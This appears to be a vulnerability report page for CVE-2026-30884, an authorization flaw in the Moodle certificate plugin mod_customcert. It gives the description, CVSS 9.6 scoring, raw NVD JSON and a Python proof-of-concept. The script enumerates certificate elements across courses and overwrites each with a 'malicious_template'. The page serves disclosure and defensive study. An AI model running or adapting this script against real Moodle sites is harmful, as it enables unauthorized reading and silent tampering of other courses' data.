Security Vulnerability Report
中文
CVE-2026-30884 CVSS 9.6 CRITICAL

CVE-2026-30884

Published: 2026-03-18 04:17:18
Last Modified: 2026-04-16 14:46:24

Description

mdjnelson/moodle-mod_customcert is a Moodle plugin for creating dynamically generated certificates with complete customization via the web browser. Prior to versions 4.4.9 and 5.0.3, a teacher who holds `mod/customcert:manage` in any single course can read and silently overwrite certificate elements belonging to any other course in the Moodle installation. The `core_get_fragment` callback `editelement` and the `mod_customcert_save_element` web service both fail to verify that the supplied `elementid` belongs to the authorized context, enabling cross-course information disclosure and data tampering. Versions 4.4.9 and 5.0.3 fix the issue.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

mdjnelson/moodle-mod_customcert < 4.4.9
mdjnelson/moodle-mod_customcert < 5.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-30884 PoC - Cross-course Certificate Element Access # Target: Moodle with mod_customcert plugin < 4.4.9 or < 5.0.3 TARGET_URL = "https://vulnerable-moodle-site.com" WS_TOKEN = "your_web_service_token" # Requires mod/customcert:manage permission COURSE_ID = 1 # Attacker's authorized course TARGET_COURSE_ID = 99 # Victim's course (to be enumerated) def exploit_read_element(element_id): """Read certificate element from target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "core_get_fragment", "args": { "component": "mod_customcert", "callback": "editelement", "args": { "elementid": element_id, "customcertid": 1, "courseid": COURSE_ID } } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() def exploit_write_element(element_id, element_data): """Overwrite certificate element in target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "mod_customcert_save_element", "args": { "elementid": element_id, "customcertid": 1, "data": element_data, "courseid": COURSE_ID } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() # Enumerate and exploit for element_id in range(1, 1000): result = exploit_read_element(element_id) if result and result[0].get('data'): print(f"Found element {element_id}: {result[0]['data']}") # Modify and write back exploit_write_element(element_id, {"pagetemplate": "malicious_template"})

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30884", "sourceIdentifier": "[email protected]", "published": "2026-03-18T04:17:18.030", "lastModified": "2026-04-16T14:46:24.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "mdjnelson/moodle-mod_customcert is a Moodle plugin for creating dynamically generated certificates with complete customization via the web browser. Prior to versions 4.4.9 and 5.0.3, a teacher who holds `mod/customcert:manage` in any single course can read and silently overwrite certificate elements belonging to any other course in the Moodle installation. The `core_get_fragment` callback `editelement` and the `mod_customcert_save_element` web service both fail to verify that the supplied `elementid` belongs to the authorized context, enabling cross-course information disclosure and data tampering. Versions 4.4.9 and 5.0.3 fix the issue."}, {"lang": "es", "value": "mdjnelson/moodle-mod_customcert es un plugin de Moodle para crear certificados generados dinámicamente con personalización completa a través del navegador web. Antes de las versiones 4.4.9 y 5.0.3, un profesor que posee 'mod/customcert:manage' en cualquier curso individual puede leer y sobrescribir silenciosamente elementos de certificado pertenecientes a cualquier otro curso en la instalación de Moodle. La devolución de llamada 'core_get_fragment' 'editelement' y el servicio web 'mod_customcert_save_element' ambos no verifican que el 'elementid' proporcionado pertenezca al contexto autorizado, lo que permite la revelación de información entre cursos y la manipulación de datos. Las versiones 4.4.9 y 5.0.3 solucionan el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/mdjnelson/moodle-mod_customcert/commit/a1494a80fb953f187f7888a7394cbf9d13c28468", "source": "[email protected]"}, {"url": "https://github.com/mdjnelson/moodle-mod_customcert/commit/ddc8f01f1e19fb61202f6013a38ef757486d3ba0", "source": "[email protected]"}, {"url": "https://github.com/mdjnelson/moodle-mod_customcert/security/advisories/GHSA-8pjr-j7r4-ccjx", "source": "[email protected]"}]}}